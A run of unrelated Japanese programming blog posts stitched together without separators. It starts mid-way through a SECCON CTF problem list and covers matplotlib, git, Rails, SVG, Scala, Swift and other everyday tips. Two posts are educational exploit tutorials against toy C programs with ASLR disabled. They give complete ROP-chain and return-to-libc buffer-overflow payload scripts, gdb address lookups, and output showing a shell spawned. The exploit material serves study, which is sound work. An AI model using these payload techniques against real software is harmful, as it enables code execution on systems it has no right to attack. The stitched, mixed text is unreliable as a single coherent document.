  * ※環境構築のためにソースを読んでると、うっかりフラグが見えてしまうので注意
  * 上記write-up記事に、環境構築手順も載せています
* 「この問題は後からでも解けたよ」というのがあれば、お知らせいただけると幸いです

## Excercise
* 50_Start SECCON CTF
* 50_Last Challenge (Thank you for playing)

## Crypto
* 100_Unzip the file
* △ 200_Find the prime numbers
* 300_Decrypt it
* △ 400_Please give me MD5 collision files

## Stegano
* 100_SECCON WARS 2015
* 100_Steganography 1
* 100_Steganography 2
* 100_Steganography 3

## Unknown
* 100_4042
* ■ 100_Command-Line Quiz
* 200_QR puzzle (Windows)
* ■ 300_QR puzzle (Nonogram)
* ▲ 400_QR puzzle (Web)
  * 環境構築はもう少し粘れば出来そうでした
* □ 400_Reverse-Engineering Android APK 2

## Exploit
* △ 200_FSB/ TreeWalker
* □ 300_Micro computer exploit code challenge
* ▲ 500_SYSCALL/ Impossible

## Web_Network
* ▲ 100_Connect the server
* ■ 100_Entry form
* 200_Bonsai XSS Revolutions
* 200_Fragment2

## Binary
* 100_Reverse-Engineering Android APK 1
* 200_GDB Remote Debugging
* 200_Individual Elebin
* 300_Exec dmesg
* 400_Reverse-Engineering Hardware 1
* 500_Reverse-Engineering Hardware 2
matplotlibでグラフの目盛りの小数点以下を省略する

# デモ
|Before（小数表示）|After（整数表示）|
|:--:|:--:|
|![dec.png](https://qiita-image-store.s3.amazonaws.com/0/40987/f927cf60-557e-721c-fd5f-4023662ebef6.png)|![int.png](https://qiita-image-store.s3.amazonaws.com/0/40987/5f709308-5926-0f94-7d11-fcd585e47659.png)|

# 方法
Locatorを`1`に変更する。

```py
from matplotlib.ticker import *
ax = plt.gca()
ax.yaxis.set_major_locator(MultipleLocator(1))	# x軸の場合は yaxis -> xaxis
```

# 参考
matplotlib - memoring
http://seesaawiki.jp/met-python/d/matplotlib#content_9_31_4
data スキームの URL を生成するスクリプト

HTML と JavaScript で簡単な文字数カウントプログラムとか作ったりするのですが、保存場所に時々困ったりします。

昨今のブラウザは複数マシンでブックマークが同期されるわけですが、ローカルに HTML ファイルを保存していると他のマシンで使えないので外部サーバに置くことになるものの、極々私的なものだと色々面倒だったりもします。

ならブックマーク自体に HTML ファイルを入れちゃえばいいかと思って、[data スキーム](https://ja.wikipedia.org/wiki/Data_URI_scheme)の URL を作ればいいかと思ったんですが、そういうツールって意外に無かったりするんですよね。検索すると習作ウェブアプリみたいなのがひっかかったりするんですが、極々私的なものだと不明な相手にデータを送信するのも気が引けるというか。業務上だとなおさらですよね。

というわけで mkdataurl という小さな Perl プログラムを書いてみました。

```pl:mkdataurl
#!/usr/bin/perl

# data:[<MIME-type>][;charset=<encoding>][;base64],<data>
use strict;
use warnings;

use MIME::Base64;

use Getopt::Long qw(:config posix_default no_ignore_case bundling auto_help);;
use Pod::Usage qw(pod2usage);

GetOptions(
    \ my %options => (
        "mime=s",
        "charset=s",
        "single",
        "clipboard"
    )
);

if ( !@ARGV ) {
    pod2usage(0);
}

my $file = shift;

if ( !-f $file ) {
    die "file is not found\n";
}

my $mime_type = $options{mime}    || "text/plain";
my $charset   = $options{charset} || '';

my $base64_string = encode_base64(slurp($file));

if ( $options{single} ) {
    $base64_string =~ s/\n//g;
}

my $url = "data:$mime_type;" . ($charset ? "charset=$charset;" : "") . ";base64,$base64_string";

if ( $options{clipboard} ) {
    system qq{pbcopy <<<"$url"};
} else {
    print "$url\n";
}

sub slurp {
    my $file = shift;
    open my $fh, '<', $file;
    my $buffer = do { local $/; <$fh>; };
    close $fh;
    return $buffer;
}

=pod

=head1 NAME

mkdataurl - make data scheme url

=head1 SYNOPSIS

  mkdataurl [--mime=MIME_TYPE] [--charset=CHARSET] [--single] [--clipboard] \
    FILENAME

=cut
```

Perl 5.8 以上の標準モジュールのみに依存しているので、Perl がある環境であればどこでも動くと思います。

たいていは作ったあとすぐにクリップボードにコピーするので、Mac でそれが一気にできる `--clipboard` オプションも加えてみました。Linux X.org であれば `xsel`、Windows であれば `clip` の各コマンドで似たようなことができるでしょう。

HTML ファイルの img 要素の src 属性などに載せる場合は改行が入った Base64 文字列のほうが好まれますが、ブックマークに入れるときは一行じゃなければならないらしいので一行強制オプション `--single` を入れてあります。これを指定しなければ行分割されます。

JavaScript は HTML ファイルの script 要素内に書けばいいし、モダンなライブラリは CDN から取ってこれるのでこれもまた問題はないでしょう（完全オフラインで使いたいという場合は別途考えましょう）。

ブックマーク用だけでなく、HTTP リクエスト削減用に画像を HTML ファイルや CSS ファイルに埋め込んだりといった用途に活用できます。CSS 界隈だとスプライトという手法もありますが、data スキームのほうが使い勝手がいいかなぁと思ったりも。

MIMEタイプの類推は深く考えると面倒なので、ここでは自分で指定することにしてあります。

Wikipedia によると正式名称は「Data URI Scheme」らしいですが、私は言葉にするときは「データスキームのURL」といつも言っています。Location ではないとして Name なのかとか、考えだすと夜も眠れないのが URI …なのかな。
git コマンドちょい技集


Git は毎日使うものだから、皆さん日々の研鑽に余念がないツールの一つでしょう。GUIツール等で見るのもいいですが、どのような環境にいっても、シェル上でさっと git コマンドが使えるとかっこいいかもしれないですね(!?)

今回はちょっとした便利な使い方をご紹介します。新たな発見があれば嬉しいです！


## 別ブランチを最新化

- ブランチを切り替えなくても、特定のローカルブランチを最新にする方法です
- 実際にはローカルブランチは必要な時に最新化しておけばいいですが、なんとなくmasterは定期的に最新化しておきたい気がします
- そんな時は以下のようにすればいいです
- もちろん、ローカルmasterに独自のコミットがあって、merge時にconflictする場合は、以下のコマンドは失敗しますが

```
$ git fetch origin master:master
```

- このコマンドは、リモートブランチをローカルに持ってくるのにも使えます
- 通常は下のようにすると思いますが・・・

```
$ git checkout -b branchA origin/branchA
```

- 以下も同意になります
- まぁ上のコマンドでいいですが。。。

```
$ git fetch origin branchA:branchA
$ git branch --set-upstream-to=origin/branchA branchA
```


## 特定のファイルを覗き見

- Gitコマンドをきちんと使えば、わざわざブランチを切り替えなくても、別ブランチやある時点のコミットのファイルをさっと確認することができます
- たとえば、origin/branchA の path/to/file ファイルの内容を確認したい時は次のようにします

```
$ git show origin/branchA:path/to/file
```

- また、過去の commitA (hash:1705c36756) の時点での path/to/file ファイルの内容を確認したい時は次のようにします

```
$ git show 15c7670356:path/to/file
```

- git blame の場合は次のようにします

```
$ git blame origin/branchA -- path/to/file
$ git blame 15c7670356 -- path/to/file
```

- 現在のファイルシステム上の特定ブランチ、特定コミットのファイルを持ってくることも簡単です
- ブランチ切り替えてファイルをコピーして戻してから貼り付け・・・なんてしないようにしましょう

```
$ git checkout origin/branchA -- path/to/file
$ git checkout 15c7670356 -- path/to/file
```


## 差分を見る

### git diff の場合

- origin/branchA と branchA の差分を見たい場合は通常次のようにします
- しかし、これだと origin/branchA の最新を branchA に取り込んでいない場合、origin/branchA に加えられた変更も、差分として見えてしまいますよね
- branchA に origin/branchA の最新を取り込めばいいんですが、branchA はまだ中途半端な作業中で、自分的にマージしたくない場合もよくあります

```
$ git diff origin/branchA..branchA
```

- そんな時は.を1個足しましょう

```
$ git diff origin/branchA...branchA
```

- これは、"origin/branchA と branchA の共通祖先" と branchA との差分を表示します
- つまり、"origin/branchA" で独自に加えられたコミットによる分は表示しないです

### git log の場合

- git log の場合も .. と ... が使えますが、git diff の場合とは少し違います
- つまり、次の例は、origin/branchA には含まれず、branchA にのみ含まれるコミット一覧が表示されます

```
$ git log origin/branchA..branchA
```

- それに対して、次の例は、origin/branchA と branchA のどちらか片方にのみ存在するコミットを表示します
- .. の場合は左右のどちらに書くかが重要だけど、... の場合は左右どちらに書いても関係ないという感じですね

```
$ git log origin/branchA...branchA
```

- ただ、オプション --right-only / --left-only を指定することで、左右いずれかのブランチにのみ存在するコミットを表示するように指定することも可能です

```
$ git log --right-only origin/branchA...branchA
```


## 最後に

何か間違いや補足があればご指摘お願いします！
ROP

自分の理解が正しいかどうか[
Introduction to return oriented programming (ROP)](http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html)のChaining functionsのところにあるコードを使って試した.
なお, ASLRは無効とする.

```c
#include <string.h>
#include <stdlib.h>

char string[100];

void exec_string()
{
  system(string);
}

void add_bin(int magic)
{
  if (magic == 0xdeadbeef)
  {
    strcat(string, "/bin");
  }
}

void add_sh(int magic1, int magic2)
{
  if (magic1 == 0xcafebabe && magic2 == 0xbadf00d)
  {
    strcat(string, "/sh");
  }
}

void vulnerable_function(char* string)
{
  char buffer[100];
  strcpy(buffer, string);
}

int main(int argc, char** argv)
{
  string[0] = 0;
  vulnerable_function(argv[1]);
  return 0;
}
```

スタックは下のように書き換えられなければならない.

```text
high

               ->  return to exec_string
                   ---
               ->  0x0badf00d
                   ---
               ->  0xcafebabe
                   ---
               ->  (pop; pop; ret;)
                   ---
               ->  return to add_sh
                   ---
               ->  0xdeadbeef
                   ---
args           ->  (pop; ret;)
---                ---
return to main ->  return to add_bin
---                ---
old ebp        ->  BBBB
---                ---
0x6cbytes      ->  A*0x6c
buffer
---                ---

low
```

以下がshellcodeである.

```python
#!/usr/bin/env python
import os
import struct

add_bin_addr = 0x8048444
add_sh_addr = 0x8048480
exec_string_addr = 0x804842b

popret_addr = 0x80482d5
pop2ret_addr = 0x804847d

payload = "A"*0x6c
payload += "BBBB"
payload += struct.pack("I", add_bin_addr)
payload += struct.pack("I", popret_addr)
payload += struct.pack("I", 0xdeadbeef)
payload += struct.pack("I", add_sh_addr)
payload += struct.pack("I", pop2ret_addr)
payload += struct.pack("I", 0xcafebabe)
payload += struct.pack("I", 0x0badf00d)
payload += struct.pack("I", exec_string_addr)

os.system("./a.out \"%s\"" % payload)
```
Return to libc

このコードの脆弱性をついてシェルを起動する.
なお, ASLRは無効化しているものとする.

```C
#include <stdio.h>
#include <string.h>

void vuln(char* pass)
{
  char buf[512];
  strcpy(buf, pass);
}

int main(int argc, char** argv)
{
  vuln(argv[1]);
  return 0;
}
```

```text
$ gcc -m32 test.c
$ objdump -d a.out
080483fb <vuln>:
80483fb: 55                    push   %ebp
 80483fc: 89 e5                 mov    %esp,%ebp
 80483fe: 81 ec 08 02 00 00     sub    $0x208,%esp
 8048404: 83 ec 08              sub    $0x8,%esp
 8048407: ff 75 08              pushl  0x8(%ebp)
 804840a: 8d 85 f8 fd ff ff     lea    -0x208(%ebp),%eax
 8048410: 50                    push   %eax
 8048411: e8 ba fe ff ff        call   80482d0 <strcpy@plt>
 8048416: 83 c4 10              add    $0x10,%esp
 8048419: 90                    nop
 804841a: c9                    leave
 804841b: c3                    ret
```

これを見るとlea命令でold ebpやreturnアドレスを除いて0x208バイトがvulnの
スタックに積まれていることがわかる.
次にsystem関数がロードされているメモリと"/bin/sh"がロードされているメモリを
調べる.

```text
$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
gdb-peda$ b main
gdb-peda$ run
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e21eb0 <system>
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f458f9 ("/bin/sh")
```

system関数のアドレスは0xf7e21eb0であり, "/bin/sh"の文字列のアドレスは
0xf7f458f9であることがわかる.
つまり, スタックは以下のように書き換えられればよいことがわかる.

```text
high

               ->  "/bin/sh"
                   ---
args           ->  CCCC(dummy return address)
---                ---
return to main ->  return to system
---                ---
old ebp        ->  BBBB
---                ---
0x208bytes     ->  A*0x208
buffer
---                ---

low
```

```sh
$ ./a.out "$(python2 -c 'print "A"*0x208 + "BBBB" + "\xb0\x1e\xe2\xf7" + "CCCC" + "\xf9\x58\xf4\xf7"')"
sh-4.3$ exit
exit
zsh: segmentation fault (core dumped)  ./a.out
```

シェルが起動することが確かめられた.
segmentation faultを起こさないためには"CCCC"のところを
exit関数へのアドレスに置き換えればよい.
vulnがretする直前はespはreturn to systemのところを指し,
ret直後は1ワードアドレスが上がることに注意.

最後にpython2で書いたshellcodeを貼る.

```python
#!/usr/bin/env python
import os
import struct

system_addr = 0xf7e21eb0
shell_str_addr = 0xf7f458f9

payload = "A"*0x208
payload += "BBBB"
payload += struct.pack("I", system_addr)
payload += "CCCC"
payload += struct.pack("I", shell_str_addr)

os.system("./a.out \"%s\"" % payload)
```

## 参考
[An introduction to ROP](http://www.slideshare.net/saumilshah/dive-into-rop)

return to libcではないが非常に図がわかりやすい.
YouTubeAPIで映像をモーダル表示


デモ：http://jsrun.it/mo4_9/uz3k/

クリックしてモーダルウィンドウを表示。
オーバーレイをクリックすると閉じる、映像は一時停止。


```html
<div id="ytplayer"></div>
<div id="modal_overlay"></div>
<div id="js-modal_btn">CLICK!</div>
<script>
/* ============================
 * youtube api
 * ============================ */

// API読み込み
var tag = document.createElement('script');
tag.src = "https://www.youtube.com/player_api";
var firstScriptTag = document.getElementsByTagName('script')[0];
firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);

var player;
function onYouTubePlayerAPIReady() {
    player = new YT.Player('ytplayer', {
        height: '315',
        width: '560',
        videoId: 'rAiw2SXPS-4',
        playerVars: {
            fs: 0 // 全画面表示させない
        },
        events: {
          'onReady': onPlayerReady
        }
    });
}
var modal_overlay = document.getElementById("modal_overlay");
function onPlayerReady(event) {
	modal_overlay.addEventListener("click", pauseVideo, false);
}
function pauseVideo() {
    player.pauseVideo();
}
</script>
```

映像は中央寄せfixed

```css
#modal_overlay{
    display: none;
	position: fixed;
	width: 100%;
	height: 100%;
	background: rgba(0,0,0,.8); 
	z-index: 1; 
}

#js-modal_btn{
	width: 100px;
	height: 100px;
	background-color: red;
}

#ytplayer{
	display: none;
	position:fixed;
	top:50%;
	left:50%;
	-moz-transform:translate(-50%, -50%);
	-webkit-transform:translate(-50%, -50%);
	-o-transform:translate(-50%, -50%);
	-ms-transform:translate(-50%, -50%);
	transform:translate(-50%, -50%);
	z-index: 2;
}
```

モーダルの開閉

```Javascript
/* ============================
 * モーダル
 * ============================ */

var $modal_overlay = $('#modal_overlay'),
    $modal_btn = $('#js-modal_btn'),
    $ytplayer = $('#ytplayer');

// オープン
$modal_btn.on('click', function(){
    $modal_overlay.fadeIn();
    $ytplayer.fadeIn();
});
// クローズ
$modal_overlay.on('click', function(){
    $modal_overlay.fadeOut();  
    $ytplayer.fadeOut();  
});

// サイズ変更
$(window).on('load resize', function(){
    var $ww = $(window).innerWidth();
    if ($ww > 700) {
        $ytplayer.css('width', '560px').css('height', '315px');
    }else{
        $ytplayer.css('width', '100%').css('height', $ww*9/16);
    }
});
```

> 参考
[YouTube 埋め込みプレーヤーとプレーヤーのパラメータ
](https://developers.google.com/youtube/player_parameters)
amazonのKindleの書籍名を取得する方法（jQuery)

#前置き
結構前から、
AmazonのKindleの書籍名の取得方法が無いかを調べていたが良い方法が見つからなかった。
合計金額表示スクリプトがあるくらいだから出来そうとは思ったが探せばあるだろうと休み休み探して半年程度。
結局見つからなくて、仕方なく作った。
※2016年7月13日実行してみたら全然動かなくなってたので改めて修正。


今の所、Chromeでしか実行してないので
他のブラウザで動くとはおもいますが特に動作保障は無いので自己責任でお願いします。


#準備すること
- ブラウザで、AmazonKindleページの[コンテンツと端末の管理]タブまで移動しておく。
　その際に、全部の書籍が見えているかを画面最下部迄表示させてください。
 （生成されてない部分は表示させないと見えないため。）
  ※Chromeとかジャバスクリプトコンソールが使えるものを使用。

- F12キー(IE、Chrome、Firefoxはそれで開くはず。)でコンソール画面を立ち上げる

- 以下のスクリプトを、コンソールに貼り付けて実行する。

```
res="";
myx-color-base.myx-text-overflow.inline_myx.myx-text-align
$("div.myx-spacing-small.inline_myx.myx-spacing-top-small.myx-content-col.myx-text-align").each(function(i, elem) {
	author = $("div#author" + i + ".myx-column.myx-text-overflow.myx-span3.myx-color-base.myx-spacing-top-small").html();
	date = $("div#date" + i + ".myx-column.myx-span2.myx-color-secondary.myx-spacing-top-small").html();
	title = $(elem).text().replace('                 ローン           ','') 
	res+= date + "\t" + author + "\t" + title + "\r\n";
});
console.log(res);
```

④コンソール画面内に、
購入日＜タブ文字＞著者名＜タブ文字＞書籍名
購入日＜タブ文字＞著者名＜タブ文字＞書籍名
購入日＜タブ文字＞著者名＜タブ文字＞書籍名
・・・
が出力されたら実行出来てます。これをコピペして適当に使います。


#注意点
①本が百冊以上ある場合、画面下部までスクロールしないと下まで表示されないため、
　正しく出力されません。スクロールで全部描画されていることを確認してください。
　（スクリプトでスクロール制御も出来た記憶なのでやろうと思えば出来るのかも？）
②400冊以上ある場合、「もっと表示」ボタンが出てきてしまい
　全部の本を一括で取得することが出来ません。（出来る方法があるかは調べてないです。）
　1～400冊で１回実行後、もっと表示ボタンで400冊～800冊をスクロールで表示後に実行をすればとりあえず全部出てくるはずです。

#javascriptの作り方
普通に再作成時間かかってしまったので、覚書きをしておく。

- ChromeでF12押下後に、Ctrl + Shift + Cを押す。
カーソルで、以下の箇所を表示させる。
![image](https://qiita-image-store.s3.amazonaws.com/0/53550/757a0923-f231-c5cf-9957-9ca28ecf6433.png)
吹き出しでできている文字をメモする。


- 同じく、著者名も同様に確認する。
![image](https://qiita-image-store.s3.amazonaws.com/0/53550/de7b57f1-1a44-de58-9d8c-404aecdeec00.png)


・続けて日付も確認する。
![image](https://qiita-image-store.s3.amazonaws.com/0/53550/684dc887-f491-881a-0946-d7a3a4e7ceba.png)


##処理のイメージ
書籍名を取得する際に、divタグのクラス名のリストをforeachで実行する。
そうすると、html上に表示されているdivタグのクラス名分全件(＝書籍名全件)を対象にループ処理を回せる。
そのループの処理内の添字iを使って、著者名と日付を強引に取得している。
Ruby on Railsでテーブル削除

Ruby on Railsで作成したdbに存在するテーブルを削除する方法
(つい忘れてしまうための備忘録替わりです)

１．モデルの削除(コマンド)
rails destroy model (削除する)モデル名

２．マイグレーションファイル作成(コマンド)
rails generate migration ファイル名(任意)

３．マイグレーションファイルにテーブル削除の文法を記述
２．で作成された、存在しているマイグレーションファイル内に
「def change」文があるので、「def change」ブロック内に
「drop_table :(削除する)テーブル名」を追記・保存

４．マイグレーション実行
bundle exec rake db:migrate

これでモデルとテーブルが削除される。

肝となるのは読み込まれるマイグレーションファイルへの記述と
マイグレーション実行を忘れない事っぽそう。
「１」でcreateマイグレーションファイルが削除されているけど、
テーブル自体は削除されてなかった。
svgで半分の星を如何にして再現するか


よくあるsvgで星が半分塗られた状態を再現する方法を考える

## 方法1. 半分の星の状態を用意する

とても素直。作れるならそれで良い気がします。

## 方法2. viewBoxをずらして色を半々で重ねる

![2-color.png](https://qiita-image-store.s3.amazonaws.com/0/7307/da04d784-7803-642e-edc0-d482b170a6da.png "127_0_0_1_8080.png")

結構望んでいたやつ。左右で配置する。

```star.svg.xml
<svg width="16" height="16" viewBox="0 0 16 16">
  <!-- left -->
  <svg width="8" height="16" viewBox="0 0 8 16">
    <use xlink:href="star.svg#star" fill="orange" />
  </svg>
  <!-- right -->
  <svg width="8" height="16" viewBox="0 0 8 16" x=8>
    <use x="-8" xlink:href="star.svg#star" fill="#ddd" />
  </svg>
</svg>
```

### 応用：strokeで一部塗りつぶしっぽくする
![stroke.png](https://qiita-image-store.s3.amazonaws.com/0/7307/55bc4b5b-f114-1088-47ea-f9b5dc49c3bd.png "127_0_0_1_8080.png")
strokeだけしている右側を作る。stroke分1pxずつずらしたり細工する

```star.svg.xml
<svg width="16" height="16">
  <svg width="8" height="16" viewBox="0 0 9 18">
    <use x="1" y="1" xlink:href="star.svg#star" fill="orange" stroke="orange" />
  </svg>
  <svg width="8" height="16" viewBox="0 0 9 18" x="8">
    <use y=1 x="-8" xlink:href="star.svg#star" fill="transparent" stroke="orange"/>
  </svg>
</svg>
```

### 方法2のボツ案

片方をviewboxでずらさずに上に引くやり方だとコード量は減るが、ジャギが出てしまってイマイチな感じになるが、参考までに掲載
![ボツ.png](https://qiita-image-store.s3.amazonaws.com/0/7307/d60de55d-e9ef-7170-a074-b93de9fd8608.png "127_0_0_1_8080.png")

```ボツ案.svg.xml
    <svg width="16" height="16" viewBox="0 0 16 16">
      <use xlink:href="star.svg#star" fill="orange" />
      <svg width="8" height="16" viewBox="0 0 8 16" x=8>
        <use x="-8" xlink:href="star.svg#star" fill="#ddd" />
      </svg>
    </svg>
```


## 方法3. preserveAspectRatioを使って半分塗りつぶす
方法2のほうがスマートだが、preserveAspectRatioを使っても再現できる
（書いた後に気づいたがどうもIE11でうまくいかなそう・・・）

```star.svg.xml
<svg width="16" height="16" viewBox="0 0 16 16">
  <!-- left -->
  <svg 
    width="8" height="16"
    preserveAspectRatio="slice xMinYMin">
    <use xlink:href="star.svg#star" fill="orange" />
  </svg>
  <!-- right -->
  <svg 
    x="8"
    width="8" height="16"
    preserveAspectRatio="slice xMaxYMax">
    <!-- x位置をずらす -->
    <use x="-8" xlink:href="star.svg#star" fill="#ddd" />
  </svg>
</svg>
```

## 方法4. colorとfillを使う

[こちらの記事](http://tympanus.net/codrops/2015/07/16/styling-svg-use-content-css/)を参考に、`currentColor`を利用してハックする。
この方法の場合、方法2,3のように単純なpathではなく、元々のsvgのpathを分ける

```star.svg
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
	<defs>
		<svg id="star" viewBox="0 0 16 16" >
			<path class="star-left" d="M-右半分のpath"/>
			<path class="star-right"
				fill="currentColor" d="M-左半分のpath"/>
		</svg>
	</defs>
</svg>
```

呼び出しはこんな感じ

```usage.svg
<svg class="rating-star" width="20" height="20"> 
  <use class="half" xlink:href="star.svg#star">
</svg>
```

そしてcssで、fillとcolorを指定する。

```css
.rating-star .half{
  fill: orange;
  color: gray;
}
```

## その他方法
コメント欄より:

GradientやPatternを利用した方法を教えていただきました
参考: [SVGで半分だけ塗られた星を再現する](http://okiru.net/misc/20160214/)
TaggedTypes

TaggedTypesを使うと、型にメタ情報を与えることができる。

例えば以下の例だと、`Person#name`,  `Company#name`が同じくString型なので、両者を混同してしまう可能性がある。

```scala
case class Person(name: String)
case class Company(name: String)
def findCompanyByName(companyName: String): Option[Company] = ???

val person = Person("John")
findCompanyByName(person.name)  // 当たり前だが、コンパイルできる
```

ここで、こういった型エイリアスを定義しておくと、

```Tagged.scala
type Tagged[T] = {type Tag = T}
type @@[+T, Tag] = T with Tagged[Tag]
def tagged[T, Tag](a: T): T @@ Tag = a.asInstanceOf[T @@ Tag]
```

以下のように「Person用のStringである」ことを表せて、しかも間違えた時にコンパイルエラーにできる。
これをTaggedTypesという。
TaggedTypesの実装方法はいくつかあって、上にあげたのはscalaz 7.0.xで使われている方法。
scalaz 7.1以降からは実装方法が変わっている。(https://github.com/scalaz/scalaz/pull/693)

```scala
case class Person(name: String @@ Person)
case class Company(name: String @@ Company)
def findCompanyByName(companyName: String @@ Company): Option[Company] = ???

val person = Person(tagged("John"))
val company = Company(tagged("opt"))
findCompanyByName(person.name)  // 通らない
findCompanyByName(company.name) // 通る
```

また、この方法で実装したTaggedTypesでは以下のようなことができる(scalaz 7.1以降ではできない)

- もとの型のメソッドがよべる

```scala
val x: String @@ X = tagged("x")
x.split(",") // よべる
```

- Stringとして扱える

```scala
val x: String @@ X = tagged("x")
def foo(a: String): Unit = ???
foo(x)  // 通る
```

## 参考

がくぞさんのスライドがわかりやすい
http://gakuzzzz.github.io/slides/refactoring_in_scala/#1
Rails はじめました。

<h2>はじめまして</h2>
Railsを学び始めました。
目標はオリジナルアプリです。ここに記録を残して行きます。（現在進行形）
情報をシェアするというより、助けてほしいです。
皆さん迷える子羊に愛の手をよろしくお願いします。

<h2>現状：</h2>
2016.2.2　　学習開始
2016.2.12 　簡単な投稿機能を設置しはじめました
　　　　　　https://techacademy-rumikonishikawa.c9users.io/
です。。。
ここに来るまでにも相当戸惑っています。

<h2>基本スペック</h2>
30代　日本人女性
前職　非エンジニア
html css　なんとか書ける。
Jquary　jsライブラリ　カスタマイズならなんとか・・・＾＾；
コンソールとかいろんなところからちょいちょい怒られる
そんな人です＾＾；

<h2>現在の環境</h2>
<ul>
<li>croud9</li>
<li>git-hub</li>
<li>Heroku</li>
</ul>

<h2>学習の友</h2>
<ul>
<li><a href="https://techacademy.jp/" target="_blank">techacademy</a>のオンラインブートキャンプのカリキュラム</li>
<li><a href="http://dotinstall.com/" target="_blank">ドットインストール</a></li>
<li><a href="https://schoo.jp/" target="_blank">schoo</a>(プレミアム会員です)</li>
</ul>
[Swift] 画面遷移から戻ってきた時に処理を実行する方法

#目的
A: TitleTableViewController: UITableViewController

- データベースから値を読み込み表示する

B: AddSearchViewController: UIViewController

- データベースの値を書き換える
- StoryBoard ID: AddSearchView

AからBに転移して、BでAのテーブルの内容が変化する処理を行った後、BからAに戻っても、テーブルの内容が更新されないという問題があった。
それのような問題を解決する方法を紹介

#解決方法

まずAに、以下のコードを追加

```swift
import UIKit

protocol TitleTableViewControllerDelegate {
    func updateTableView()
}

// TitleTableViewControllerDelegateを追加する時、updateTableView()が書かれていないので最初エラーが出ます
class TitleTableViewController: UITableViewController, TitleTableViewControllerDelegate  {

   // ...途中省略

// Bに転移する処理(実際はButtonをタップした時であった)
func toB() {

    let addSearchViewController = self.storyboard?.instantiateViewControllerWithIdentifier("AddSearchView") as! AddSearchViewController
    // まだ、Bに処理を書いていないので最初はエラーが出る
    addSearchViewController.titleTableViewDelegate = self
    self.presentViewController(addSearchViewController, animated: true, completion: nil)
}

func updateTableView() {
        
     // 各セルの内容の要素を作る処理(今回は、データベースから値を読み込み配列に格納)
     setUp()
     // 再描画
     self.tableView.reloadData()

}

func setUp() {

     // データベースから値を読み込み配列に格納
     // 処理省略
}
```

続いてBに追加

```swift

import UIKit

class AddSearchViewController: UIViewController {
    
    var titleTableViewDelegate: TitleTableViewControllerDelegate!

    // ...途中省略

// Aに転移する処理(実際はButtonをタップした時であった)
func toA() {

    self.dismissViewControllerAnimated(true, completion: {
        // ここを記述することでAのエラーが消える
        self.titleTableViewDelegate.updateTableView()
    })
}
```

これでBを閉じた時AのupdateTableView()の処理が行われる

正しいやり方かどうかわからないが...
CDATA SectionはgetElementしてもCDATA

#やったこと
埋め込んだJavaScript(hoge_No.1)をJavaScriptで表示させようとした。
下記はその簡略化したソースコード（HTMLは最小限に省略）。

```html
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ja">
<head>
<script id="SVG"><![CDATA[ 〜hoge_No.1〜 ]]></script>
<script>
<![CDATA[
const SOURCE = function () {
  const Elm = document.getElementById('EMBED');
  const cdata = document.getElementById('SVG').firstChild;
  const tNode = document.createTextNode(cdata.nodeValue);
  Elm.replaceChild(tNode, Elm.firstChild);
};

(function () {
  document.addEventListener('DOMContentLoaded', SOURCE, false);
}());
]]>
</script>
<title>sample</title>
</head>
<body>
<pre id="EMBED">test</pre>
</body>
</html>
```

#説明
当たり前の話だが、変数cdataに格納されるのはCDATA Section。

```js
Elm.replaceChild(cdata, Elm.firstChild);
```

としても表示はされるが、replaceされるのはあくまでCDATA Section（console.log()で確認済）。

そこで上記ソースにある通り下記にするとテキストノードでreplaceされる。

```js
tNode = document.createTextNode(cdata.nodeValue);
Elm.replaceChild(tNode, Elm.firstChild);
```

当たり前だが認識忘れそうな話。